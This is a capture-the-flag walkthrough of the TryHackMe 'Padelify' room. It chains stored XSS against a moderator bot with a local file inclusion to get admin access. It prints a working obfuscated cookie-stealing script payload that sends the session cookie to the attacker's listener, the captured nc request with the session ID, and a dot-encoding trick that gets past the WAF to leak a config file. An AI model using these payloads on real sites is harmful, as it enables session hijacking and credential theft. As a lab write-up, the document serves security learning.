Padelify - TryHackMe - Walkthrough
Bypass the WAF to exploit a XSS vulnerability, followed by a LFI vulnerability.
Description
This is a write-up for the Padelify challenge, rated as medium, on TryHackMe.
The challenge begins with the following short description:
You’ve signed up for the Padel Championship, but your rival keeps climbing the leaderboard. The admin panel controls match approvals and registrations. Can you crack the admin and rewrite the draw before the whistle?
This room is quite similar to the Farewell room, but in comparison to it, a little bit easier. I recommend checking out the Farewell room if not already done. - Link to TryHackMe
Additionally if you want to try the Room yourself checkout the WAF exploitation techniques room, this Room provides you with all the information needed to solve this challenge.
Moderator Flag
Initial Payload
According to the challenge description, the plan is to breach the web application and gain admin privileges. The app, which runs on port 80, offers a simple registration page for creating accounts.
When creating a account you will receive the subsequent message, this indicates that there is likely a bot, the moderator, reviewing the registrations, who may be susceptible to XSS (Cross Site Scripting).
The most plausible way, how the moderator is seeing the registration requests is by a simple page containing the usernames. To test, if that is the case, the easiest way is to inject a “non-malicious” img tag into the Player’s username field containing a link back to the attacker machine. Fortunately, the payload (<img src=http://10.13.97.230:9001 />) successfully triggers the listener, so the bot is seeing rendered HTML and requests the image.
To gain access to the moderators account the XSS payload needs to be adjusted to extract the cookie.
Webserver Security
To understand what protections are employed on the target, we can use nmap. nmap will check the security features of the server like HttpOnly.
1
2
3
4
5
6
7
8
9
$ nmap -p 80 -sC 10.201.73.119
PORT STATE SERVICE
80/tcp open http
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-title: Padelify - Tournament Registration
The result yields that the server does not set the HttpOnly flag.
Bypassing the WAF
Considering that the HttpOnly security flag is not set for the cookie, we can simply access it via JS and return it using a simple fetch request. We can try to simply use the img’s onerror attribute to execute JavaScript, although this will hit the Web Application Firewall.
The web app is protected by a WAF, so for the next payloads some obfuscation is needed. For the second payload, we can change the tag from a img tag to a script tag. The server only apparently filters the onerror, but not script tags. This payload enables us to bypass the WAF completely and execute any code.
To continue further we can attempt to add the fetch function to achieve the outbound cookie request (<script>eval("fetch('http://10.13.97.230:9002/'+document.cookie)")</script>). This payload is again stopped by the WAF before reaching the server.
The reason to use eval in the payload instead of executing the JS just by placing it in the script tag is, that you can split strings to bypass known WAF signatures like fetch. So next I tried <script>eval("fet"+"ch('http://10.13.97.230:9002/'+document.cookie)")</script>.
Even though we obfuscated the fetch the request is still blocked. We can assume that the fetch is not the part that triggers the WAF, probably the document.cookie is responsible for stopping the payload. To overcome this issue we simply can add another "+" in the word document, so the final full payload is:
1
<script>eval("fet"+"ch('http://10.13.97.230:9002/'+doc"+"ument.cookie)")</script>
Fortunately, this payload is accepted by the application.
After a few seconds you should be able to receive a request from the moderator containing the PHP session cookie.
1
2
3
4
5
6
7
8
9
10
11
12
$ nc -lvnp 9002
Listening on 0.0.0.0 9002
Connection received on 10.201.100.195 44308
GET /PHPSESSID=oqun09valfqgsnc05b1sp8orsc HTTP/1.1
Host: 10.13.97.230:9002
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept-Language: en-US,en;q=0.9
Accept: */*
Origin: http://localhost
Referer: http://localhost/
Accept-Encoding: gzip, deflate
Once the cookie is stored in the browser, the moderator page can be viewed.
Admin Flag
For the admin panel we can check out the options the application presents. The most interesting one is the Live option. The link redirects you to live.php and appends ?page=match.php, with that you can assume that the next vulnerability to exploit is a LFI (Local File Inclusion). Simply replacing match.php by /etc/passwd yields to a 403 and the WAF blocks the request again.
Enumeration of the Web App
To see how the application is structured and to see the endpoints which can be loaded by the LFI we can do a directory scan. I used gobuster with some additional flags, I added -x php to append .php to each file in the wordlist for finding all PHP files. Furthermore, I added the -a flag to set a custom User-Agent because the default one used by gobuster is blocked.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.201.100.195/ -x php -a 'Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0'
/index.php (Status: 200) [Size: 3853]
/login.php (Status: 200) [Size: 1124]
/register.php (Status: 302) [Size: 0] [--> index.php]
/header.php (Status: 200) [Size: 1587]
/footer.php (Status: 200) [Size: 33]
/css (Status: 301) [Size: 314] [--> http://10.201.100.195/css/]
/live.php (Status: 200) [Size: 1961]
/status.php (Status: 200) [Size: 4086]
/js (Status: 301) [Size: 313] [--> http://10.201.100.195/js/]
/javascript (Status: 301) [Size: 321] [--> http://10.201.100.195/javascript/]
/logout.php (Status: 302) [Size: 0] [--> index.php]
/config (Status: 301) [Size: 317] [--> http://10.201.100.195/config/]
/logs (Status: 301) [Size: 315] [--> http://10.201.100.195/logs/]
/dashboard.php (Status: 302) [Size: 0] [--> login.php]
The logs and the config directory both contain one file.
The app config is not accessible by simply requesting, the error.log file on the other hand is accessible.
We can see that the config lies in the absolute path /var/www/html/config/app.conf.
To weaponize our LFI it is important to narrow down the location of the file match.php loaded by default in live.php. We can check the path of the match.php if we request /match.php in the browser. You will see similar pages, this means that match.php is in the root directory of the server.
Leaking the Config
With that information we can try to load that file using only the relative path, this is probably more stealthy, than using the full path.
Even the relative path is blocked by the WAF. One trick to bypass the WAF when executing LFI payloads is using encoding. We can simply encode the dot with %2e. This doesn’t change the payload just the WAF won’t be able to stop the payload because of a known malicious pattern.
Finally the config file is returned, it contains the admin password in the admin_info variable. With that, you can simply log in using this password and the username admin.
















